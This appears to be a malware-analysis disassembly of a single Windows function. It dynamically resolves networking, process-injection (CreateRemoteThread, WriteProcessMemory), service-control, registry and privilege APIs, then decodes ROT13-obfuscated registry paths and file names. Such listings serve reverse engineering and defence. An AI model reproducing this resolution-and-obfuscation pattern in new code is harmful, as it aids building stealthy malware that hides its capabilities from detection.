Function at 0x13144c5e
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.ws2_32.dll
call esi
push str.kernel32.dll
mov ebx, eax
call esi
push str.user32.dll
mov edi, eax
call esi
push str.advapi32.dll
mov dword [esp + 0x18], eax
call esi
push str.gdi32.dll
mov ebp, eax
call esi
push str.ntdll.dll
mov dword [esp + 0x14], eax
call esi
push str.wininet.dll
mov dword [esp + 0x1c], eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.recv
push ebx
mov dword [esp + 0x24], eax
call esi
push str.send
push ebx
mov dword [0x1315374c], eax
call esi
push str.sendto
push ebx
mov dword [0x13153768], eax
call esi
push str.socket
push ebx
mov dword [0x13153668], eax
call esi
push str.setsockopt
push ebx
mov dword [0x13153564], eax
call esi
push str.closesocket
push ebx
mov dword [0x13153684], eax
call esi
push str.connect
push ebx
mov dword [0x131536e4], eax
call esi
push str.WSAStartup
push ebx
mov dword [0x13153734], eax
call esi
push str.WSACleanup
push ebx
mov dword [0x13153750], eax
call esi
push str.ExitThread
push edi
mov dword [0x13153774], eax
call esi
push str.ExitProcess
push edi
mov dword [0x131536ec], eax
call esi
push str.CloseHandle
push edi
mov dword [0x131536b0], eax
call esi
push str.GetLastError
push edi
mov dword [0x13153380], eax
call esi
push str.MessageBoxA
mov dword [0x13153670], eax
push dword [esp + 0x18]
call esi
push str.CreateMutexA
push edi
mov dword [0x13153538], eax
call esi
push str.HeapAlloc
push edi
mov dword [0x13153784], eax
call esi
push str.HeapFree
push edi
mov dword [0x13153388], eax
call esi
push str.GetProcessHeap
push edi
mov dword [0x131533d4], eax
call esi
push str.WinExec
push edi
mov dword [0x131533f0], eax
call esi
push str.gethostbyname
push ebx
mov dword [0x1315338c], eax
call esi
push str.inet_ntoa
push ebx
mov dword [0x131533d0], eax
call esi
push str.inet_addr
push ebx
mov dword [0x13153398], eax
call esi
push str.htons
push ebx
mov dword [0x131539ac], eax
call esi
push str.gethostname
push ebx
mov dword [0x1315378c], eax
call esi
push str.GetTickCount
push edi
mov dword [0x1315367c], eax
call esi
push str.Sleep
push edi
mov dword [0x13153428], eax
call esi
push str.GetModuleFileNameA
push edi
mov dword [0x131536fc], eax
call esi
push str.GetModuleHandleA
push edi
mov dword [0x13153540], eax
call esi
push str.RegOpenKeyExA
push ebp
mov dword [0x13153558], eax
call esi
push str.RegQueryValueExA
push ebp
mov dword [0x131533ac], eax
call esi
push str.RegCloseKey
push ebp
mov dword [0x131533b0], eax
call esi
push str.RegSetValueExA
push ebp
mov dword [0x131536cc], eax
call esi
push str.CreateThread
push edi
mov dword [0x13153544], eax
call esi
push str.CreateFileA
push edi
mov dword [0x13153730], eax
call esi
push str.WriteFile
push edi
mov dword [0x131533e0], eax
call esi
push str.ReadFile
push edi
mov dword [0x131533b4], eax
call esi
push str.DeleteFileA
push edi
mov dword [0x13153554], eax
call esi
push str.TerminateThread
push edi
mov dword [0x131536c8], eax
call esi
push str.DeleteDC
mov dword [0x131536d8], eax
push dword [esp + 0x14]
call esi
push str.DeleteObject
mov dword [0x13153424], eax
push dword [esp + 0x14]
call esi
push str.GetDIBColorTable
mov dword [0x131533e4], eax
push dword [esp + 0x14]
call esi
push str.BitBlt
mov dword [0x131536bc], eax
push dword [esp + 0x14]
call esi
push str.SelectObject
mov dword [0x13153560], eax
push dword [esp + 0x14]
call esi
push str.CreateDIBSection
mov dword [0x13153754], eax
push dword [esp + 0x14]
call esi
push str.CreateCompatibleDC
mov dword [0x13153758], eax
push dword [esp + 0x14]
call esi
push str.CreateDCA
mov dword [0x131536c4], eax
push dword [esp + 0x14]
call esi
push str.GetDeviceCaps
mov dword [0x13153780], eax
push dword [esp + 0x14]
call esi
push str.CreateToolhelp32Snapshot
push edi
mov dword [0x13153778], eax
call esi
push str.Process32First
push edi
mov dword [0x1315399c], eax
call esi
push str.Process32Next
push edi
mov dword [0x13153678], eax
call esi
push str.GetTimeFormatA
push edi
mov dword [0x131536e0], eax
call esi
push str.GetDateFormatA
push edi
mov dword [0x131533c8], eax
call esi
push str.GetWindowsDirectoryA
push edi
mov dword [0x1315339c], eax
call esi
push str.bind
push ebx
mov dword [0x13153550], eax
call esi
mov dword [0x1315375c], eax
push str.listen
push ebx
call esi
push str.accept
push ebx
mov dword [0x13153400], eax
call esi
push str.CreateProcessA
push edi
mov dword [0x1315373c], eax
call esi
push str.CreatePipe
push edi
mov dword [0x1315372c], eax
call esi
push str.WaitForSingleObject
push edi
mov dword [0x131536a8], eax
call esi
push str.WaitForInputIdle
mov dword [0x13153378], eax
push dword [esp + 0x18]
call esi
push str.TerminateProcess
push edi
mov dword [0x131533a8], eax
call esi
push str.GetFileSize
push edi
mov dword [0x131533f8], eax
call esi
push str.GetUserNameA
push ebp
mov dword [0x131539a8], eax
call esi
push str.select
push ebx
mov dword [0x13153390], eax
call esi
push str.ioctlsocket
push ebx
mov dword [0x131533fc], eax
call esi
push str.__WSAFDIsSet
push ebx
mov dword [0x13153414], eax
call esi
push str.GetCurrentDirectoryA
push edi
mov dword [0x131536ac], eax
call esi
push str.SetCurrentDirectoryA
push edi
mov dword [0x13153704], eax
call esi
push str.FindFirstFileA
push edi
mov dword [0x13153740], eax
call esi
push str.FindNextFileA
push edi
mov dword [0x131533b8], eax
call esi
push str.Beep
push edi
mov dword [0x1315370c], eax
call esi
push str.RemoveDirectoryA
push edi
mov dword [0x131536f0], eax
call esi
push str.CreateRemoteThread
push edi
mov dword [0x13153744], eax
call esi
push str.VirtualAllocEx
push edi
mov dword [0x131536f4], eax
call esi
mov dword [0x13153384], eax
push str.VirtualFreeEx
push edi
call esi
push str.VirtualQueryEx
push edi
mov dword [0x1315354c], eax
call esi
push str.VirtualProtectEx
push edi
mov dword [0x1315366c], eax
call esi
push str.OpenProcess
push edi
mov dword [0x13153728], eax
call esi
push str.WriteProcessMemory
push edi
mov dword [0x13153788], eax
call esi
push str.GetCurrentProcessId
push edi
mov dword [0x1315340c], eax
call esi
push str.GetVersion
push edi
mov dword [0x1315377c], eax
call esi
push str.GetVersionExA
push edi
mov dword [0x131533cc], eax
call esi
push str.GlobalMemoryStatus
push edi
mov dword [0x131536e8], eax
call esi
push str.CreateDirectoryA
push edi
mov dword [0x131533bc], eax
call esi
push str.GetComputerNameA
push edi
mov dword [0x1315337c], eax
call esi
push str.GetDriveTypeA
push edi
mov dword [0x131536dc], eax
call esi
push str.GetDiskFreeSpaceA
push edi
mov dword [0x131536b8], eax
call esi
push str.WSAGetLastError
push ebx
mov dword [0x13153534], eax
call esi
push str.DuplicateHandle
push edi
mov dword [0x131536f8], eax
call esi
push str.MapViewOfFile
push edi
mov dword [0x13153548], eax
call esi
push str.UnmapViewOfFile
push edi
mov dword [0x131533a0], eax
call esi
push str.GlobalAlloc
push edi
mov dword [0x13153674], eax
call esi
push str.GlobalFree
push edi
mov dword [0x131536b4], eax
call esi
push str.ReadProcessMemory
push edi
mov dword [0x13153990], eax
call esi
push str.ResumeThread
mov dword [0x13153718], eax
push edi
call esi
push str.OpenThread
push edi
mov dword [0x13153530], eax
call esi
push str.Thread32First
push edi
mov dword [0x13153410], eax
call esi
push str.Thread32Next
push edi
mov dword [0x1315355c], eax
call esi
push str.SuspendThread
push edi
mov dword [0x13153764], eax
call esi
push str.RegQueryValueExW
push ebp
mov dword [0x131536d4], eax
call esi
push str.FindNextFileW
push edi
mov dword [0x13153748], eax
call esi
mov ebx, dword [esp + 0x18]
push str.ZwQueryInformationThread
push ebx
mov dword [0x1315341c], eax
call esi
push str.ZwQueryInformationProcess
push ebx
mov dword [0x13153760], eax
call esi
push str.ZwQuerySystemInformation
push ebx
mov dword [0x13153700], eax
call esi
push str.ZwOpenSection
push ebx
mov dword [0x131539a4], eax
call esi
push str.ZwCreateThread
push ebx
mov dword [0x13153708], eax
call esi
push str.ZwResumeThread
push ebx
mov dword [0x131539b4], eax
call esi
push str.RegEnumValueW
push ebp
mov dword [0x13153738], eax
call esi
mov ebx, dword [esp + 0x1c]
push str.InternetOpenA
push ebx
mov dword [0x13153408], eax
call esi
push str.InternetCloseHandle
push ebx
mov dword [0x13153994], eax
call esi
push str.InternetReadFile
push ebx
mov dword [0x1315353c], eax
call esi
push str.InternetConnectA
push ebx
mov dword [0x131536c0], eax
call esi
push str.HttpSendRequestA
push ebx
mov dword [0x131533dc], eax
call esi
push str.HttpOpenRequestA
push ebx
mov dword [0x13153680], eax
call esi
mov dword [0x13153770], eax
push str.RegCreateKeyA
push ebp
call esi
push str.DeviceIoControl
push edi
mov dword [0x13153404], eax
call esi
push str.OpenServiceA
push ebp
mov dword [0x1315376c], eax
call esi
push str.DeleteService
push ebp
mov dword [0x131539a0], eax
call esi
push str.CreateServiceA
push ebp
mov dword [0x13153420], eax
call esi
push str.CloseServiceHandle
push ebp
mov dword [0x13153710], eax
call esi
push str.StartServiceA
push ebp
mov dword [0x13153714], eax
call esi
push str.OpenSCManagerA
push ebp
mov dword [0x131539b0], eax
call esi
push str.ControlService
push ebp
mov dword [0x131536d0], eax
call esi
push str.wsprintfA
mov dword [0x1315352c], eax
push dword [esp + 0x18]
call esi
push str.GetCurrentProcess
push edi
mov dword [0x13153998], eax
call esi
push str.FileTimeToSystemTime
push edi
mov dword [0x131533d8], eax
call esi
push str.FileTimeToLocalFileTime
push edi
mov dword [0x13153394], eax
call esi
push str.VirtualAlloc
push edi
mov dword [0x131533a4], eax
call esi
push str.AdjustTokenPrivileges
push ebp
mov dword [0x131533e8], eax
call esi
push str.LookupPrivilegeValueA
push ebp
mov dword [0x131533c4], eax
call esi
push str.OpenProcessToken
push ebp
mov dword [0x131533ec], eax
call esi
push str.CopyFileA
push edi
mov dword [0x13153418], eax
call esi
push str.RegDeleteKeyA
push ebp
mov dword [0x131533f4], eax
call esi
push str.FBSGJNERZvpebfbsgJvaqbjf_AGPheeragIrefvbaPbafbyrAnzrFcnpr
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionConsoleNameSpace
mov dword [0x131533c0], eax
call fcn.13145dd9
push str.FBSGJNERZvpebfbsgJvaqbjfPheeragIrefvbaAyfAnzrFcnpr
push str.SOFTWAREMicrosoftWindowsCurrentVersionNlsNameSpace
call fcn.13145dd9
push str.P:0kQRNQ.OZC
push str.C:0xDEAD.BMP
call fcn.13145dd9
push str.FNYG
push str.SALT
call fcn.13145dd9
push str.Guvf_shapgvba_vf_abg_fhccbegrq_ol_Jva9k
push 0x13176858
call fcn.13145dd9
add esp, 0x28
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret